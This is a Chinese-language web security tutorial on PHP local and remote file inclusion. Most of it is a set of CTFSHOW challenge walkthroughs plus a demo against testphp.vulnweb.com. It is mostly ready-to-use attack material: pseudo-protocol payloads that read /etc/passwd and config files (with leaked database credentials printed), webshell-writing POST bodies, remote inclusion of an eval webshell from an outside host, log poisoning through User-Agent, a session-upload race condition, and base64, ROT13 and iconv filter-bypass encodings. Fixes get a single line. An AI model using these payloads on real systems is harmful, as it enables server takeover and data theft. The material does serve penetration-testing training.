WEB攻防-PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒
可跳转目录
一、知识点概览
- 文件包含-原理&分类&危害-LFI(本地文件包含)&RFI(远程文件包含)
- 文件包含-利用-黑白盒&无文件&伪协议
二、演示案例
- 文件包含-原理&分类&利用&修复
- 黑盒利用-VULWEB-有无包含文件
- 白盒利用-CTFSHOW-伪协议玩法


三、文件包含-原理&分类&利用&修复
3.1 原理
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件而无须再次编写,这种调用文件的过程称为文件包含。在包含文件的过程中,若文件路径/内容可被用户控制,则存在文件包含漏洞——被包含的文件会被当作当前脚本语言代码执行。
漏洞原因
- 使用文件包含函数(如PHP的
include、require等) - 包含的文件路径/内容可控(用户可篡改)
漏洞简单复现
- 创建
include.php文件,代码如下(危险写法):<?php// 使用include函数包含用户可控的GET参数file,存在漏洞include($_GET['file']);?> - 创建
1.txt文件,内容为恶意代码:<?php phpinfo();?> - 访问URL并传递参数:
http://127.0.0.1/include.php?file=1.txt
此时1.txt会被当作PHP脚本执行,页面显示phpinfo()信息,等同于执行include('1.txt');。

3.2 漏洞分类
| 分类 | 全称 | 差异原因 | 配置依赖 |
|---|---|---|---|
| LFI | Local File Include(本地文件包含) | 仅能包含服务器本地文件 | 无特殊配置 |
| RFI | Remote File Include(远程文件包含) | 可包含远程服务器上的文件 | 需开启PHP配置allow_url_include=On(默认Off) |
RFI配置开启方式
找到对应网站服务的PHP版本下的php.ini文件,将allow_url_include=Off改为allow_url_include=On(小皮面板可直接在PHP设置中调整)。
RFI复现:在远程服务器创建file.txt(内容<?php phpinfo();?>),访问URL:http://192.168.137.1:84/include.php?file=http://远程IP/file.txt,远程文件会被包含并执行。




3.3 漏洞发现(黑白盒)
3.3.1 白盒审计(CTFSHOW为例)
通过代码层面定位漏洞,核心是搜索文件包含函数:
- PHP:
include、require、include_once、require_once(include报错后程序继续运行,require报错后程序终止) - Java:
java.io.File、java.io.FileReader - ASP.NET:
System.IO.FileStream、System.IO.StreamReader
审计思路:
- 通过应用功能追踪代码(如“文件预览”“模板加载”功能)
- 直接搜索上述文件包含函数,检查参数是否可控
- 结合伪协议玩法绕过修复限制
3.3.2 黑盒分析(无代码查看权限)
通过URL参数特征判断,重点关注含以下关键词的参数:
path、dir、file、pag、page、archive、p、eng(语言文件参数)
判断逻辑:修改参数值(如将file=index.php改为file=test.txt),观察页面是否报错或内容变化,若存在文件内容回显/执行,则可能存在漏洞。
3.4 漏洞利用(本地&远程)
3.4.1 本地利用思路
1、配合文件上传(上传一个文件 文件写有我们的恶意代码)
2、无文件包含日志
3、无文件包含SESSION
4、无文件支持伪协议利用
php://input与data://都需要开启allow_url_include才能使用

参考:https://blog.csdn.net/unexpectedthing/article/details/121276653
1. 文件读取(伪协议:file://、php://filter)
| 伪协议 | 用法 | 说明 |
|---|---|---|
file:// | http://192.168.137.1:84/include.php?file=file:///d:/1.txt | 读取绝对路径文件(Windows:d:/1.txt;Linux:/etc/passwd) |
php://filter | http://192.168.137.1:84/include.php?file=php://filter/read=convert.base64-encode/resource=1.php | 读取相对路径文件(当前网站目录下1.php),Base64编码返回(避免乱码) |
| 跨目录读取 | http://192.168.137.1:84/include.php?file=php://filter/read=convert.base64-encode/resource=../../1.txt | 通过../跳转上级目录读取文件 |
示例:
- 读取Linux系统用户文件:
http://192.168.137.1:84/include.php?file=file:///etc/passwd - 读取
phpinfo.php并Base64编码:http://192.168.137.1:84/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php(解码后得到源码:PD9waHAgcGhwaW5mbygpOz8+→<?php phpinfo();?>)



2. 文件写入(伪协议:php://input、php://filter/write)
注意:需代码中存在文件写入逻辑(如file_put_contents($_GET['file'],$_POST['content'])),或支持php://input协议。
| 伪协议 | 用法 | 说明 |
|---|---|---|
php://input | 1. URL:http://192.168.137.1:84/include.php?file=php://input 2. POST数据: <?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?> | 向服务器写入shell.php(Webshell),通过cmd参数执行命令 |
php://filter/write | 1. URL:http://192.168.137.1:84/include.php?file=php://filter/write=convert.base64-encode/resource=phpinfo.php 2. POST数据: content=131 | 向phpinfo.php写入Base64编码内容(需解码后生效) |





3. 代码执行(伪协议:php://input、data://)
注意:php://input和data://需开启allow_url_include=On。
| 伪协议 | 用法 | 说明 |
|---|---|---|
php://input | 1. URL:http://192.168.137.1:84/include.php?file=php://input 2. POST数据: <?php phpinfo();?> | 直接执行POST数据中的PHP代码 |
data://(明文) | http://192.168.137.1:84/include.php?file=data://text/plain,<?php phpinfo();?> | 直接在URL中嵌入PHP代码执行 |
data://(Base64) | http://192.168.137.1:84/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B | Base64编码避免特殊字符被过滤(%2B是+的URL编码) |



3.4.2 远程利用思路
核心:搭建远程服务器,通过RFI包含远程恶意文件,实现代码执行。
前提:目标开启allow_url_include=On。
- 远程服务器创建
file.txt,内容为Webshell:<?php eval($_POST["pass"]);?> - 目标服务器访问URL:
http://192.168.137.1:84/include.php?file=http://远程IP/file.txt - 使用哥斯拉/蚁剑,以
pass为密码连接目标URL,获取服务器权限。



3.5 修复方案
参考网上公开方案(如限制文件包含路径、禁用危险伪协议、关闭allow_url_include等)。
四、黑盒利用-VULWEB-有无包含文件
目标URL:http://testphp.vulnweb.com/showimage.php?file=index.php
利用步骤
- 判断漏洞存在:URL中含
file参数,尝试替换参数值为index.php,访问后发现回显index.php源码,说明存在文件包含漏洞。 - 读取数据库配置文件:从源码中发现数据库配置文件
database_connect.php,替换URL参数:http://testphp.vulnweb.com/showimage.php?file=database_connect.php。 - 获取敏感信息:发送请求后,回显数据库配置代码,暴露数据库账号密码:
<?PHP$connection = mysql_connect('127.0.0.1', 'acuart', 'trustno1')or die('Website is out of order. Please visit back later. Thank you for understanding.');mysql_select_db('acuart', $connection)or die('Website is out of order. Please visit back later. Thank you for understanding.');?>



五、白盒利用-CTFSHOW-伪协议玩法
目标平台:https://ctf.show/challenges(选择“web入门”系列题目)
5.1 78题-php&http协议
题目分析
代码含include文件包含函数,无文件上传功能,需用无文件伪协议利用。
利用方式
方式1:文件读取(伪协议php://filter)
- Payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
说明:读取当前目录下flag.php,Base64解码后获取flag。
方式2:代码执行(伪协议data://)
- 列出目录文件:
?file=data://text/plain,<?php system('ls');?>(发现flag.php) - 读取flag:
?file=data://text/plain,<?php system('tac flag.php');?>
说明:tac命令反向输出文件内容(Linux系统),直接获取flag.php中的flag。



关键Payload汇总
?file=php://filter/read=convert.base64-encode/resource=flag.php?file=php://input (POST数据:<?php system('tac flag.php');?>)?file=http://www.xiaodi8.com/1.txt (1.txt内容:<?php system('tac flag.php');?>)5.2 79题-data&http协议
题目分析
代码含include函数,无文件上传,但过滤“php”关键词。
关键知识:PHP中<?= ... ?>是短标签,等同于<?php echo ... ?>,可绕过“php”关键词过滤。
利用方式
方式1:短标签绕过(data://)
- 列出目录:
?file=data://text/plain,<?=system('ls');?>(发现flag.php) - 读取flag:
?file=data://text/plain,<?=system('tac flag*');?>(flag*匹配所有以flag开头的文件)
方式2:Base64编码绕过(data://)
- Payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
说明:Base64解码后为<?php system('tac flag.php'); ?>,绕过“php”过滤。





关键Payload汇总
?file=data://text/plain,<?=system('tac flag.*');?>?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==?file=http://www.xiaodi8.com/1.txt (1.txt内容:<?php system('tac flag.php');?>)5.3 80-81题-日志包含

题目分析
代码含include函数,过滤“php”“data”关键词,需利用服务器日志文件(如Nginx访问日志)。
利用方式
方式1:大小写绕过(PHP://input)
- Payload:
?file=PHP://input(POST数据:<?=system('ls');?>)
说明:大小写PHP://input绕过“php”过滤,执行命令列出目录(发现fl0g.php)。 - 读取flag:
?file=PHP://input(POST数据:<?=system('tac fl0g.*');?>)


方式2:日志包含(利用Nginx访问日志)
-
读取日志路径:
?file=file:///var/log/nginx/access.log(Linux系统Nginx默认日志路径)。 -
写入恶意代码到日志:
抓包修改User-Agent头,加入PHP代码:User-Agent: 222222222<?php=system('ls')?>,发送请求后日志会记录该代码。 -
包含日志执行代码:
- 列出目录:
?file=file:///var/log/nginx/access.log(回显fl0g.php index.php)。 - 读取flag:修改
User-Agent为333333333<?php system('tac fl0g.php')?>,再次包含日志,获取flag(如ctfshow{56017f9c-6037-4f27-bd84-ed6bffd417fa})。





- 列出目录:
5.4 82-86题-SESSION包含

题目分析
代码含include函数,无文件上传,需利用PHP_SESSION_UPLOAD_PROGRESS(会话上传进度)实现条件竞争包含。
核心原理
- 开启
session.upload_progress.enabled=On(默认开启)后,上传文件时可通过PHP_SESSION_UPLOAD_PROGRESS变量向SESSION写入内容。 - 用户可自定义
PHPSESSID(如PHPSESSID=wusuowei),服务器会生成/tmp/sess_wusuowei文件存储SESSION内容。 - 由于
session.upload_progress.cleanup=On(默认开启),SESSION文件会被自动清除,需条件竞争(同时上传文件+包含SESSION文件)。
利用步骤
-
创建本地上传表单:
<!DOCTYPE html><html><body><form action="http://xxxx.ctf.show/" method="POST" enctype="multipart/form-data"><!-- 向SESSION写入Webshell代码 --><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>')?>" /><input type="file" name="file" /><input type="submit" value="submit" /></form></body></html>说明:将
action改为靶场URL,上传任意文件。
-
抓包与条件竞争:
- 抓包上传请求,添加Cookie:
PHPSESSID=wusuowei(自定义SESSION ID)。

-
将上传包发送到
Intruder,设置Payload type: Null payloads,勾选Continue indefinitely(无限发送上传请求,保持SESSION文件存在)。 -
另抓包包含SESSION文件的请求:
http://xxxx.ctf.show/?file=/tmp/sess_wusuowei,同样发送到Intruder无限发送,触发条件竞争。
- 抓包上传请求,添加Cookie:
-
连接Webshell:竞争成功后,访问
http://xxxx.ctf.show/shell.php,通过POST参数1=system('tac fl0g.php')获取flag。





参考链接
5.5 87题-php://filter/write&加密编码

题目分析
代码含urldecode($file)(二次URL解码),可绕过过滤,需通过php://filter/write结合编码写入Webshell。
利用方式
方式1:Base64编码写入
- URL编码处理:将
php://filter/write=convert.base64-decode/resource=123.php进行2次URL编码(避免被过滤)。 - 发送POST数据:
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg====
说明:aa用于补全Base64位数(Base64需4的倍数长度),解码后为<?php @eval($_POST[a]);?>(Webshell密码为a)。 - 执行命令:访问
http://xxxx.ctf.show/123.php,POST数据a=system('tac fl0g.php')获取flag。




方式2:凯撒13(ROT13)编码写入
- URL编码处理:将
php://filter/write=string.rot13/resource=2.php进行2次URL编码。 - 发送POST数据:
content=<?cuc riny($_CBFG[1]);?>
说明:ROT13解码后为<?php eval($_POST[1]);?>(Webshell密码为1)。


- 执行命令:访问
http://xxxx.ctf.show/2.php,POST数据1=system('ls')拿到目录,1=system('tac fl0g.php')获取flag。


5.6 88题-data&base64协议

题目分析
过滤“PHP”及特殊符号,需生成无+和=的Base64编码PHP代码。
利用方式
- Payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
说明:Base64解码后为<?php system('tac *.php');echo 123;?>ad,其中echo 123;?>ad(随便写,直到可以过滤)用于避免生成+和=,*.php匹配所有PHP文件,直接读取flag。

5.7 117题-php://filter/write&新的算法

题目分析
过滤多种编码(http、data、base64、rot13等,不区分大小写),需用convert.iconv过滤器(等同于iconv()函数,转换字符编码)。
核心原理
convert.iconv.UCS-2LE.UCS-2BE:将UCS-2LE编码转换为UCS-2BE编码,两次转换可还原原内容。
例:<?php eval($_POST[a]);?> → 一次转换后为?<hp pvela$(P_SO[T]a;)>? → 二次转换后还原。
利用方式
- Payload:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php - 发送POST数据:
contents=?<hp pvela$(P_SO[T]a;)>?
说明:转换后为<?php eval($_POST[a]);?>(Webshell密码为a)。 - 执行命令:访问
http://xxxx.ctf.show/a.php,POST数据a=system('tac flag.php')获取flag。



参考链接

辅助代码(编码转换验证)
<?php/* 将字符串 '<?php eval($_POST[a]);?> 从 UCS-2LE 编码转换为 UCS-2BE 编码*/$result = iconv("UCS-2LE", "UCS-2BE", '<?php eval($_POST[a]);?>');echo "经过一次反转:".$result."\n";// 经过一次反转:?<hp pvela$(P_SO[T]a;)>?
// 二次转换还原echo "经过第二次反转:".iconv("UCS-2LE", "UCS-2BE", $result);// 经过第二次反转:<?php eval($_POST[a]);?>?>